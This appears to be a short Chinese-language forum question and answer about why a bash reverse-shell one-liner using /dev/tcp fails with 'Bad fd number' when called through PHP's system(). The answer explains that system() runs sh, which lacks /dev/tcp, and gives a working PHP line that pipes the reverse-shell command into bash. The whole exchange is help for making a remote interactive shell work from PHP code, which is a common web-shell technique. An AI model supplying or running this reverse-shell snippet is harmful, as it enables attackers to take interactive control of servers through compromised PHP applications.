当我通过
bash -i >& /dev/tcp/127.0.01/12340 0>&1
执行 system()
时,我得到:
Syntax error: Bad fd number
但是当我通过终端执行
bash -i >& /dev/tcp/127.0.01/12340 0>&1
时没有错误。
我该如何修复它?
/dev/tcp
是 bash
的一项功能,但是在 PHP 脚本中的第一个屏幕截图中,您使用的是 sh
。
解决方案是像在本地终端中一样实际使用
bash
。
试试这个:
system('echo "sh -i >& /dev/tcp/127.0.0.1/12340 0>&1" | bash');